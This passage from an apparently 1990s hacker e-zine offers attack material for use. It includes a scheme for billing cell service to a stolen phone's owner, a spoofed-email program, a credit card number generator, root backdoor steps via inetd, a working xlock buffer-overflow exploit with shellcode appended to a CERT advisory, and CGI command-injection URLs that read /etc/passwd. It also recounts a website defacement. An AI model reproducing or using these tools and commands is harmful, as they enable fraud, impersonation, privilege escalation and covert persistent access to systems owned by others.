stolen phone, when I tried they put me on hold and called the person who's
phone I had and then told me the person wanted me to mail the phone back to
them.
Also find and write down the electronic serial number, you'll need that too.
You then need to call a local cell service provider (ie. GTE MobilNet,
Cellular One, Bell South Mobility, etc.) on a phone you have. Let them tell
you about the different service plans and pick one.
They will then ask for your "information" and ESN. Then they will ask to
call you back with your new cell number, tell them that you're out and
ask for a number to call them back at, they will have no problem with this.
Then call them back and they will tell you how to program your new number
into your phone, they might also tell you how to program in a new system ID
and pagin channel etc, this is no big deal.
Also ask when the billing cycle ends and when the bill is sent out, you will
want to stop using this number when the person you're billing it to gets
their bill.
Be sure to get call features like 3-way and call forwarding, they're always
useful to have.
I prefer this to cloning because its less worry and hassle and it lasts up
to a month.
�������������������������������������������������������������������������������
===============================================================================
==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
===============================================================================
�������������������������������������������������������������������������������
1. Getting Your Exploits Onto Systems : so1o
�������������������������������������������������������������������������������
You want to get files or exploits onto another system, you can do this the
following few ways...
1) Mail The User The File.
--------------------------
This method is simple, easy to do, pretty undetectable, but sometimes may be
a touch too slow, depending on the location / speed of the system...just mail
[email protected] the file or whatever, then wait at the other side for them to
get it.
2) FTP to the system.
----------------------
Using an FTP client, you can FTP to the remote server from your system, then
upload the files to the server, but you will most probably get logged, and so
if your exploits fail, this may not be such a good idea...
3) Use cat to input the file from the terminal.
-----------------------------------------------
This is easy to do, pretty quick and effective, follow these steps...
FearFactory:~:$ cat > heh.c << STOP
#include
main()
{
printf("Quit Laughin' At Yerself Yew Gimp :P\n"):
}
STOP
FearFactory:~:$ cat heh.c
#include
main()
{
printf("Quit Laughin' At Yerself Yew Gimp :P\n"):
}
FearFactory:~:$ cc -o heh heh.c
FearFactory:~:$ heh
Quit Laughin' At Yerself Yew Gimp :P
FearFactory:~:$
I used "cat > filename.c << STOP" to input the file from the terminal, I could
have cut a file from another editor, then just pasted it to the terminal, then
when I type "STOP" and hit enter, cat stops taking input from the terminal and
EOF's the file...Then I cat it again, to prove that the STOP does not stay as
part of the file, then I proceed to compile the source using cc and then I run
the program, easy =)
Always remember to remove traces of exploits from the system if you fail, as
this is messy and could lead to the admin becoming suspicious, just keep your
technique clean, and you will learn some good skills...
Recommended Reading :
---------------------
LINUX IN A NUTSHELL - A Desktop Quick Reference
By Jessica Perry Hekman
Copyright 1997 O'Reilly & Associates
ISBN 1-56592-167-4
UK : �14.99
US : $19.95
CAN : $28.95
I really like this book, its very easy to use, pretty compact, and 424 pages
long, the information in it will boost your skills by a long way if you are
a newbie, and there are alot of more advanced features, such as debugfs and
many other programs and their syntax. Basically its a dictionary of Linux
commands, along with a short explanation, the syntax for the command and
many examples, I have the first printing, which is January 1997, so this book
is not old at all, and pretty up-to-date...
�������������������������������������������������������������������������������
2. Fakemailing Techniques : so1o
�������������������������������������������������������������������������������
Fakemailing is old and very very easy to do. To use this simple fakemailing
program just make a file, such as letter.txt with the stuff you want to send
in it, like "Hey Bill! how's it going?" or whatever. Next compile the
fakemail.c using gcc -o sendfake sendfake.c ignore any warning messages.
Run the program using "sendfake" and follow the steps, simple as that =)
/**********************************************************/
/* SENDFAKE.C */
/* */
/* */
/* Author: [email protected] */
/* */
/* To compile: gcc -o sendfake sendfake.c */
/* Usage : sendfake */
/* */
/**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#define MAXLEN 256
int s;
int call_socket(char *hostname)
{
struct sockaddr_in sa;
struct hostent *hp;
int a, s;
if ((hp=gethostbyname(hostname))==NULL) return(-1);
bzero(&sa, sizeof(sa));
bcopy(hp->h_addr, (char *)&sa.sin_addr, hp->h_length);
sa.sin_family = hp->h_addrtype;
sa.sin_port = htons((u_short)25);
if((s=socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0)
return(-1);
if(connect(s, &sa, sizeof(sa)) < 0) {
close(s);
return(-1);
}
return(s);
}
int readln(char *buf)
{
int to=0;
char c;
do {
if(read(s, &c, 1)<1)
return(0);
if((c >= ' ') || (c <= 126))
if(to",from);
writeln(str);
readln(buf);
do {
input("Send fake mail TO",to);
sprintf(str, "RCPT TO: <%s>",to);
writeln(str);
readln(buf);
*(buf+3) = 0;
if(atoi(buf) == 250) break; else printf("%s",buf+4);
} while(1);
input("Name of lamer getting the fake mail",name);
input("Subject of fake mail",subject);
writeln("DATA");
sprintf(str,"To: %s <%s>",name,to);
writeln(str);
if(strlen(subject)) {
sprintf(str, "Subject: %s", subject);
writeln(str);
}
do {
input("File to read and include in fake mail",str);
if(!strlen(str)) {
close(s);
exit(1);
}
if((fp = fopen(str,"rt")) == NULL) printf("Could not find file %s\n",
str);
else break;
} while(1);
while(fgets(str,MAXLEN,fp)) write(s, str, strlen(str));
writeln("\n.\n");
readln(buf);
writeln("QUIT\n");
printf("Sent!!!\n");
close(s);
}
�������������������������������������������������������������������������������
3. Pascal Credit Card Generator Source : Lobster Guacamole
�������������������������������������������������������������������������������
PROGRAM ccnum;
{ Written by Lobster Guacamole. }
{ }
{ I wrote this program because I enjoy fucking over every goddam bureacratic }
{ and/or facist aspect of our society. This program simply spits out ten }
{ random credit card numbers based on the bank prefix used. See lines 58 }
{ through 61 for information on the bank prefix used. There is also a lame }
{ password feature for minor security. See lines 42 through 50 for }
{ information on the password feature. }
{ }
{ Remember, however, the numbers that are spit out may not work because }
{ the credit card company may not have assigned that number to a customer }
{ yet. Have fun! }
{ }
{ You can use a simple program like pas2c to translate this code into c }
{ - Tetsu Khan }
USES
Crt;
VAR
ccnum_count : Integer;
PROCEDURE program_init;
BEGIN
Randomize;
CheckBreak := False;
END;
PROCEDURE show_title;
BEGIN
ClrScr;
Writeln;
Writeln( 'CCNUM - Credit Card Number Generator.' );
Writeln( 'Written by Lobster Guacamole.' );
Writeln;
END;
PROCEDURE get_pwd;
VAR
program_pwd : String;
BEGIN
Writeln;
Write( 'Enter password>' );
Readln( program_pwd );
IF program_pwd = 'a' THEN { The current password is a lower case }
BEGIN { letter 'a'. Recompile the program if }
Writeln; { you change the password, of course. }
Writeln( 'Correct' ); { Change password on line 47 as well. }
Writeln;
END;
IF program_pwd <> 'a' THEN { If you changed the password on line 40, }
BEGIN { change it here, too. }
Writeln;
Writeln( 'Incorrect' );
Halt;
END;
END;
PROCEDURE make_ccnum;
VAR
ccnum_digits : ARRAY[ 1..16 ] OF Integer;
doub_odd_digits : ARRAY[ 1..8 ] OF Integer;
digit_count : Integer;
yn_choice : Char;
added_digits : Integer;
BEGIN
ccnum_digits[1] := 5; { This part may have to be changed depending }
ccnum_digits[2] := 4; { on the bank prefix used. The bank prefix }
ccnum_digits[3] := 2; { here is '5424', the prefix for Citibank. }
ccnum_digits[4] := 4; { Recompile the program if you change it. }
REPEAT
FOR digit_count := 5 TO 16 DO
BEGIN
ccnum_digits[ digit_count ] := Random(10);
END;
doub_odd_digits[1] := 2 * ccnum_digits[1];
IF doub_odd_digits[1] > 9 THEN
doub_odd_digits[1] := doub_odd_digits[1] - 9;
doub_odd_digits[2] := 2 * ccnum_digits[3];
IF doub_odd_digits[2] > 9 THEN
doub_odd_digits[2] := doub_odd_digits[2] - 9;
doub_odd_digits[3] := 2 * ccnum_digits[5];
IF doub_odd_digits[3] > 9 THEN
doub_odd_digits[3] := doub_odd_digits[3] - 9;
doub_odd_digits[4] := 2 * ccnum_digits[7];
IF doub_odd_digits[4] > 9 THEN
doub_odd_digits[4] := doub_odd_digits[4] - 9;
doub_odd_digits[5] := 2 * ccnum_digits[9];
IF doub_odd_digits[5] > 9 THEN
doub_odd_digits[5] := doub_odd_digits[5] - 9;
doub_odd_digits[6] := 2 * ccnum_digits[11];
IF doub_odd_digits[6] > 9 THEN
doub_odd_digits[6] := doub_odd_digits[6] - 9;
doub_odd_digits[7] := 2 * ccnum_digits[13];
IF doub_odd_digits[7] > 9 THEN
doub_odd_digits[7] := doub_odd_digits[7] - 9;
doub_odd_digits[8] := 2 * ccnum_digits[15];
IF doub_odd_digits[8] > 9 THEN
doub_odd_digits[8] := doub_odd_digits[8] - 9;
added_digits := doub_odd_digits[1] + doub_odd_digits[2] +
doub_odd_digits[3] + doub_odd_digits[4] +
doub_odd_digits[5] + doub_odd_digits[6] +
doub_odd_digits[7] + doub_odd_digits[8] +
ccnum_digits[2] + ccnum_digits[4] +
ccnum_digits[6] + ccnum_digits[8] +
ccnum_digits[10] + ccnum_digits[12] +
ccnum_digits[14] + ccnum_digits[16];
UNTIL added_digits MOD 10 = 0;
Writeln( ' ', ccnum_digits[1],
ccnum_digits[2],
ccnum_digits[3],
ccnum_digits[4],
' ',
ccnum_digits[5],
ccnum_digits[6],
ccnum_digits[7],
ccnum_digits[8],
' ',
ccnum_digits[9],
ccnum_digits[10],
ccnum_digits[11],
ccnum_digits[12],
' ',
ccnum_digits[13],
ccnum_digits[14],
ccnum_digits[15],
ccnum_digits[16] );
END;
BEGIN
program_init;
show_title;
get_pwd;
FOR ccnum_count := 1 TO 10 DO make_ccnum;
END.
�������������������������������������������������������������������������������
4. in.courierd : backdoor on port 530 : so1o
�������������������������������������������������������������������������������
As root do the following (without the %'s ;]) to setup the backdoor.
--------------------------------------------------------------------
[This Method Has Been Tested On A Linux 2.0.30]
% cp /bin/bash /usr/sbin/in.courierd
% chmod 4755 /usr/sbin/in.courierd [optional, depends on system]
% echo "courier stream tcp nowait root /usr/sbin/in.courierd" >> /etc/inetd.conf
% /sbin/pidof inetd.conf [to find the pid of inetd.conf]
% kill -HUP [replace the with the real pid]
% telnet localhost 530 [test backdoor]
All commands to the backdoor must end with ;, for example....
exit;
ps -a;
whoami;
cd /;
You are root when you use the backdoor, and you are not seen or logged. The
last time I used this, it stayed up for 2 weeks =)
The above commands I have tested in Linux, I have heard that you have to reboot
a Sun for the new settings to take effect (shutdown -r now).
But hey! its only a prototype at the moment until I make it cool and alot
better =)
Have fun.
so1o
�������������������������������������������������������������������������������
5. UK Laws On Computer Misuse : Darkfool
�������������������������������������������������������������������������������
This part is actually useful info, not like Darkfools lesser works...Partially
edited by me, the original can be now found at www.sinnerz.com/bible.htm - T_K
Hey, this is an interesting little read. Please note it still can be quite
interesting even if you don't like in UK - Darkfool.
The 1990 Computer Misuse Act - UK
---------------------------------
In plain English.
-----------------
"An Act to make provision for securing computer material against
unauthorised access or modification; and for connected purposes"
{ This is the long title (header) of the Act and confirms what the act does
and applies to. }
SECTION 1 Unauthorised access to computer material
--------------------------------------------------
TEXT:
A person is guilty of an offence if he causes a computer to perform any
function with intent to secure access to any program or data held in any
computer.
{ This means that if you can get access to files which you shouldn't be
allowed to retrieve or read then you are committing a offence, this only
applies if the person in question has intent ( meaning they are doing it
on purpose, often referred to as hacking ) to carry this out. }
A person is guilty of an Offence if the access he intends to secure is
unauthorised; and he knows at the time when he causes the computer to
perform the function that that is the case.
{ This means that the person is guilty doesn't have authorisation to
secure access to files then he is committing an offence. The person is
not guilty if he/she doesn't know what they are trying to perform.
This applies to everything i.e. any program, a program or data of any
particular kind and a program or data held }
A person guilty of an offence under this section shall be
liable on summary conviction to imprisonment for a term not exceeding
six months or to a fine not exceeding level 5 on the standard scale or
to both.
{ Meaning, you could go to prison for 6 months for committing
an offence mentioned above ! You could also be subject to a fine
@ level 5, which is always changing. You have to be convicted of the
crime first though ;) }
SECTION 2 Unauthorised access with intent to commit or facilitate
-----------------------------------------------------------------
commission of further offences
------------------------------
A person is guilty of an offence under this section if he commits an
offence under section 1 above. To commit an offence to which this
section applies or to facilitate the commission of such an offence
( whether by himself or by any other person) and the offence he intends
to commit or facilitate is referred to below in this section as the
further offence.
{ This meaning that what is mentioned in section 2
applies to the person gaining unauthorised access to a computer system
and to anyone who facilitates such a person }
This section applies to offences for which a person of twenty-one years
of age or over ( not previously convicted ) may be sentenced to
imprisonment for a term of five years.
{ This means that if you re-offend or facilitate to re-offend and have
been convicted you are liable to 5 years imprisonment or/and a large
fine }
SECTION 3 Unauthorised modification of computer material
--------------------------------------------------------
A person is guilty of an offence if he/she does any act that causes an
unauthorised modification of the contents of any computer; and at the
time when he does the act he has the requisite intent and the requisite
knowledge.
{ This means that if a person modifies computer material
which he/she is not authorised to do he/she is guilty of committing
an offence, however, the person must have the intent to carry out this
crime else the person is not liable }
{ This next bit is the interesting bit }
For the purposes of the above section the requisite knowledge is an intent
to cause a modification of the contents of any computer and by so doing
to impair the operation of any computer; to prevent or hinder access to
any program or data held in any computer; to impair the operation of any
such program or the reliability of any such data. The intent need not be
directed at any particular computer; any particular program or data or a
program or data of any particular kind; or any particular modification.
{ This basically means, if you have the intent and knowledge of breaking
into computers, without have to actually do it you can be liable to an
offence. }
For the purposes of the Criminal Damage Act 1971 a modification of the
contents of a computer shall not be regarded as damaging any computer or
computer storage medium unless its effect on that computer storage medium,
impairs its physical condition.
{ Meaning that you cannot be prosecuted for criminal damage whilst hacking
into a machine unless you cause physical damage i.e. on site hacking,
then taking a sledge hammer to the computer can be classed as criminal
damage but change the password for root login is not criminal damage,
unless you send the computer into high speed self destruct mode and
ruin one of the heads on the 50 gig duke box ? }
{ A lot of the next part of the document is about jurisdiction and some
technical mumbo jumbo }
SECTION 14 Search warrants for offences under section 1
-------------------------------------------------------
Where a circuit judge is satisfied by information on oath given by a
constable that there are reasonable grounds for believing that an offence
under section 1 above has been or is about to be committed in any
premises; and that evidence that such an offence has been or is about to
be committed is in those premises he/she may issue a warrant authorising a
constable to enter and search the premises, using such reasonable force
as is necessary.
{ This basically means that if they believe that you have the intent or
have broken into a system your not supposed to ( section 1 ) they can
come around your house and knock your door in, or, open it for them
nicely. }
SECTION 15 Extradition where Schedule 1 to the Extradition Act 1989 applies
---------------------------------------------------------------------------
The offences to which an order in council under section 2 of the extradition
act 1870 can apply shall include offences under sections 2 and 3 and any
conspiracy to commit such an offence and any attempt to commit an offence
under section 3.
{ This meaning, that if you have a conspiracy to break into a system you
can be extradited }
In the UK it can be illegal to posses anything which may show an intent to
hack, such as hacking documents.
So, if your out there and in UK and didn't know that you were doing is most
probably illegal then keep your head down !
�������������������������������������������������������������������������������
6. so1o Gets Busted By CERT : so1o
�������������������������������������������������������������������������������
I've been busted by CERT?!@# umm, okay...whatever you say Hostile you fucken
pussy! and a cl000less one at that!@# Speadin' shit about stuff you dont know :
[20:57] dude!!
wassup?
[20:59] so1o got busted by CERT!
lol
[21:00] yup
[21:00] they have logs of him on over 80 computers
[21:01] thats all i know is like what i just got
forwarded to me
[21:03] they got logs from when he used phfscan.c
[21:03] and other shit
any more info on so1o shit ?
[21:06] l
[21:06] Dear Sir.
[21:06] We have now traced down the responsible account
behind this attempt and=20
[21:06] have taken action against it.
[21:06] If you would like to know who is behond this you
should either file a=20
[21:06] report to the propper authoroties or fax pege
Gustagsson at +++ 46 8=20
[21:06] 7132657 and ask him to trace this down in the
phone network.
[21:06] If you got any more question feel free to get
back to me.. or if you=20
[21:06] think that this is to be considered as closed.
[21:06] check this now
[21:06] __ ____ Telia Internet=20
[21:06] / /_/ / Incident Response Team
[21:06] / / \ / [email protected]
[21:06] =09 FAX ++46 - 8 456 8935=20
[21:06] On Fri, 2 May 1997, m0dify wrote:
[21:06] > That is the log from our www.usda.gov web
server.... CERT also said that
[21:06] > this log is on 80 computers since 4/1/97 .
There was also a log on
[21:06] > the 17th of April. =20
[21:07] > > Dear Sir.
[21:08] > > This messages dropped down on my desk today.
[21:08] > > I need a time to know who was on that dial up
and so whe could hunt
[21:08] > > him/her down in the phone network..
[21:08] heh... so1o fuct up it seems..
he's toast.
[21:10] im glad to man... amnesty was just so uncool when
he did that
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@#
I've seen one of those logs that Modify had (now CERT have them too) and,
I'm sooooo dissapointed to say...
-I- -D-I-D-N-'-T -P-H-F- -T-H-O-S-E- S-I-T-E-S-
Let us look at the facts...Those that Hostile and his little lameassfuck sIn
wannabe haqr posse didn't even see :
-------------------------------------------------------------------------------
THE FACTS :
-------------------------------------------------------------------------------
CERT logs show that the phf queries to approximatley 80
sites on the same day that the www.amnesty.org page was
changed show that this technique was used..which is
fundementally incorrect, here is the phf query string
found in the logs, the fact that this was on the same
day as amnesty is the ONLY factor linking me to these
events :
GET /cgi-bin/phf?qalias=X%0Acat%20/etc/passwd
(I think there's also a "3D" somewhere in there too..)
And here is the phf query code set down by every text
I have ever read AND in phfscan.c which I would use if
I ever wanted to scan such sites for the phf hole :
GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
I think we can all see a slight difference, which basically
says "IT'S NOT MY FUCKING STYLE! ONLY A LUNA-FUCKING-TICK
would even think about using that technique. Seeing it
probably wouldn't work anyway."
The next point is the IP from where the queries originate,
it is *.telia.com which I have been told is a SWEDISH ISP
now, do I live in Sweden? NO!! Do I have any shells at
dynamic IP's IN SWEDEN? NO!! There is no plausible way
I could have run such a scan. Unless I dial long distance,
which isn't gonna happen.
One last point, I knew that we "0wned" amnesty.org from
about 2 weeks before we actually decided to change the
index.html, because when my friends broke in the first
time, they had set up a .rhosts file and a suid root shell
in something like /tmp/.... But when they left the system
and tried to regain access, they found that the admin had
removed the account or changed the login and pass, so we
decided to leave the site for about a week and a half, until
we started to try and formulate a way to get back in, in
this period we did NO phf scanning whatsoever. And on the
weekend when we did get back in, using an ingenious method
that I was never told about, by a new hacker to our team,
modeX, we decided to at least do something to prove we had
regained access, so I designed a new index.html, to which
the team uploaded. That was all that happened, and therefore
the phf scans can IN NO WAY be related to the amnesty.org
attack as we owned that system A LONG TIME before, and it
was only a matter of regaining access, one last point being
that we didn't walk through the amnesty "front door" as it
were, as I was told we stumbled over a trusted host,
shell.oil.ca or something like that.
Anyway, thats just a few points I would like to raise in
proving that sIn are again VERY CL000LESS fucks who know
absolutely NOTHING about hacking or "the scene" in any way
shape or form...And as for the Incident Response Team, they
are most probably looking for some lamefuck Swedish haqr.
Any-Fucking-Way, what the fuck they gonna do when they find
this haqr?!@ arrest him for phf'ing 80 sites? h0h0h0, I wouldn't
call that much of a bust :) "Listen sonny! you're gonna get 10
years for connecting to port 80 and typing "GET /cgi-bin/phf?
Qalias=x%0a/bin/cat%20/etc/passwd" becuase thats not against
ANY law and CERT owns us all.
so1o.
There are alot of missing pieces, and alot of the data I base
my argument on originated from m0dify (see the letter to
[email protected] earlier) so I think I have more of an idea than
Hostile the cl00less lame gimpfuck wannabe haqr.
�������������������������������������������������������������������������������
7. CERT Advisory CA-97.13 : xlock vunerablity : Taken From Bugtraq
�������������������������������������������������������������������������������
Topic: Vulnerability in xlock
-------------------------------------------------------------------------------
The CERT Coordination Center has received reports that a buffer overflow
condition exists in some implementations of xlock. This vulnerability makes it
possible for local users (users with access to an account on the system) to
execute arbitrary programs as a privileged user.
Exploitation information involving this vulnerability has been made publicly
available.
If your system is vulnerable, the CERT/CC team recommends installing a
patch from your vendor. If you are not certain whether your system is
vulnerable or if you know that your system is vulnerable and you cannot add a
patch immediately, we urge you to apply the workaround described in
Section III.B.
We will update this advisory as we receive additional information.
Please check our advisory files regularly for updates that relate to your site.
-------------------------------------------------------------------------------
I. Description
xlock is a program that allows a user to "lock" an X terminal. A buffer
overflow condition exists in some implementations of xlock. It is
possible attain unauthorized access to a system by engineering a
particular environment and calling a vulnerable version of xlock that has
setuid or setgid bits set. Information about vulnerable versions must be
obtained from vendors. Some vendor information can be found in Appendix A
of this advisory.
Exploitation information involving this vulnerability has been made
publicly available.
Note that this problem is different from that discussed in CERT Advisory
CA-97.11.libXt.
II. Impact
Local users are able to execute arbitrary programs as a privileged user
without authorization.
III. Solution
Install a patch from your vendor as described in Solution A. If you are
not certain whether your system is vulnerable or if you know that your
system is vulnerable and you cannot install a patch immediately, we
recommend Solution B.
A. Obtain and install a patch for this problem.
Below is a list of vendors who have provided information about
xlock. Details are in Appendix A of this advisory; we will
update the appendix as we receive more information. If your
vendor's name is not on this list, the CERT/CC did not hear from
that vendor. Please contact your vendor directly.
Berkeley Software Design, Inc. (BSDI)
Cray Research - A Silicon Graphics Company
Data General Corporation
Digital Equipment Corporation
FreeBSD, Inc.
Hewlett-Packard Company
IBM Corporation
LINUX
NEC Corporation
The Open Group [This group distributes the publicly available software
that was formerly distributed by X Consortium]
Solbourne
Sun Microsystems, Inc.
B. We recommend the following workaround if you are not certain
whether your system is vulnerable or if you know that your system
is vulnerable and you cannot install a patch immediately.
1. Find and disable any copies of xlock that exist on your system and
that have the setuid or setgid bits set.
2. Install a version of xlock known to be immune to this
vulnerablility. One such supported tool is xlockmore. The latest
version of this tool is 4.02, and you should ensure that this is
the version you are using. This utility can be obtained from the
following site:
ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz
MD5 (xlockmore-4.02.tar.gz) = c158e6b4b99b3cff4b52b39219dbfe0e
You can also obtain this version from mirror sites. A list of
these sites will be displayed if you are not able to access the
above archive due to load.
...........................................................................
Appendix A - Vendor Information
Below is a list of the vendors who have provided information for this
advisory. We will update this appendix as we receive additional information.
If you do not see your vendor's name, the CERT/CC did not hear from that
vendor. Please contact the vendor directly.
Berkeley Software Design, Inc. (BSDI)
=====================================
BSD/OS is not vulnerable to the problem in xlock since our
xlock is not setuid.
Cray Research - A Silicon Graphics Company
==========================================
Cray Research does not include xlock in its X Window releases, so we are
not at risk on the xlock buffer overflow problem.
Data General Corporation
========================
The xlock sources (xlockmore-3.7) that DG includes in its contributed
software package have been modified to remove this vulnerability. These
will be available when release 8 comes out. We also recommend that our
customers who have the current version should change the sprintf calls in
resource.c to snprintf calls, rebuild and reinstall the package.
Digital Equipment Corporation
=============================
This reported problem is not present for Digital's ULTRIX or
Digital UNIX Operating Systems Software.
FreeBSD, Inc.
=============
The xlockmore version we ship in our ports collection is vulnerable
in all shipped releases. The port in FreeBSD-current is fixed.
Solution is to install the latest xlockmore version (4.02).
Hewlett-Packard Company
=======================
We ship an suid root program vuelock that is based on xlock.
It does have the vulnerability.
The only workaround is to remove the executable, the patch is "in process".
IBM Corporation
===============
AIX is vulnerable to the conditions described in this advisory.
The following APARs will be released soon:
AIX 3.2: APAR IX68189
AIX 4.1: APAR IX68190
AIX 4.2: APAR IX68191
IBM and AIX are registered trademarks of International Business Machines
Corporation.
LINUX
=====
Red Hat:
Not vulnerable
Caldera:
Not vulnerable
Debian:
An updated package is on the Debian site
SuSE:
ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/S.u.S.E.-4.4.1/xap1/xlock
And in general the new Xlockmore release fixes the problems.
NEC Corporation
===============
UX/4800 Not vulnerable for all versions.
EWS-UX/V(Rel4.2MP) Not vulnerable for all versions.
EWS-UX/V(Rel4.2) Not vulnerable for all versions.
UP-UX/V(Rel4.2MP) Not vulnerable for all versions.
The Open Group
==============
Publicly available software that was formerly distributed by the X Consortium -
Not vulnerable.
Solbourne
=========
Solbourne is not vulnerable to this attack.
Sun Microsystems, Inc.
======================
We are producing patches for OpenWindows 3.0 for Sun OS versions
4.1.3_U1, 4.1.4, 5.3, 5.4, 5.5, and 5.5.1.
-------------------------------------------------------------------------------
The CERT Coordination Center thanks David Hedley for reporting the original
problem and Kaleb Keithley at The Open Group for his support in the
development of this advisory.
-------------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).
CERT/CC Contact Information
------------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
-------------------------------------------------------------------------------
* Registered U.S. Patent and Trademark Office.
Copyright 1997 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.
The CERT Coordination Center is part of the Software Engineering Institute
(SEI). The SEI is sponsored by the U.S. Department of Defense.
-------------------------------------------------------------------------------
This file: ftp://info.cert.org/pub/cert_advisories/CA-97.13.xlock
http://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBM3DOFnVP+x0t4w7BAQH9MwQAwULlCDTqDbW+CiS0/Z36BtGf6Eqzx43B
pEt72rQlQbw2AqRnHeq85dzVUB4eKmL0T//bGYyo0sCt+8nlFaS3cNYh0cyl3jdu
JPDVoNhWB7v2+8nHvAEDz2UdomNVaxXDFvAbZ9JvEk/Ex6aFiXtl4qXdjxtcC4ze
kGKLcu0+LzE=
=nF5B
-----END PGP SIGNATURE-----
------------------------------------------------------------------------------
The Exploit Code - not in the *ORIGINAL* CERT advisory ;] :
------------------------------------------------------------------------------
/* x86 XLOCK overflow exploit
by [email protected] 4/17/97
Original exploit framework - lpr exploit
Usage: make xlock-exploit
xlock-exploit
Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include
#include
#include
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 996
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
int main(int argc, char *argv[])
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int dfltOFFSET = DEFAULT_OFFSET;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
if (argc > 1)
dfltOFFSET = atoi(argv[1]);
else printf("You can specify another offset as a parameter if you need...\n");
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + dfltOFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
�������������������������������������������������������������������������������
8. IRiX WWW Server Bugs : Tetsu Khan
�������������������������������������������������������������������������������
Number 1 :
----------
http://www.site.com/cgi-bin/wrap?/etc
...Lets you view the contents of the /etc/ directory, you can try others too..
Number 2 :
----------
http://www.site.com/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
...Lets you view the /etc/passwd file, also try /etc/hosts to make sure the
cgi script isn't a trap. You can also execute some kind of remote shell using
webdist technique, but we are looking into it now...
�������������������������������������������������������������������������������
9. Hacking Not-So-Electrical Items : Tetsu Khan
�������������������������������������������������������������������������������
y0h CrEw!@# T0daY wE WiLL LeArN tEw Hax0r....
TrEES!!! tReEs!!! TrEEs!!!
TrEES!!! tReEs!!! TrEEs!!!
TrEES!!! tReEs!!! TrEEs!!!
YePpO! TrEEs! LiKe Da oNeZ j00 FiNd In YeR GaRdEn SoMeTiMeS!!
oKaY, HeRe aRe THe k-LEeTo JuaReZ YeW wILL nEEd...
1 : A HaCk SaW
2 : CoMoFlAgUeD CLoThiNG
3 : a CoPPeR NaiL
4 : A hAmmER
5 : a GI-JoE AcTiOn FiGuRe (WiTH pArAChUte)
6 : a SmALL, wELL TrAiNeD InSecT, LiKe A bEE
7 : oNe LaPtOp ComPUtEr (wIv d0S 2.4 *OnLy*)
8 : OnE RS232 CaBlE
OkAy CrEw! ThIs iS Da mAsTA PlAn!@#
FiRsTly, aS WiTH mANy OtHer HaCks YoU WiLL nEEd tO ScAn Da PoRts Of ThE TrEE,
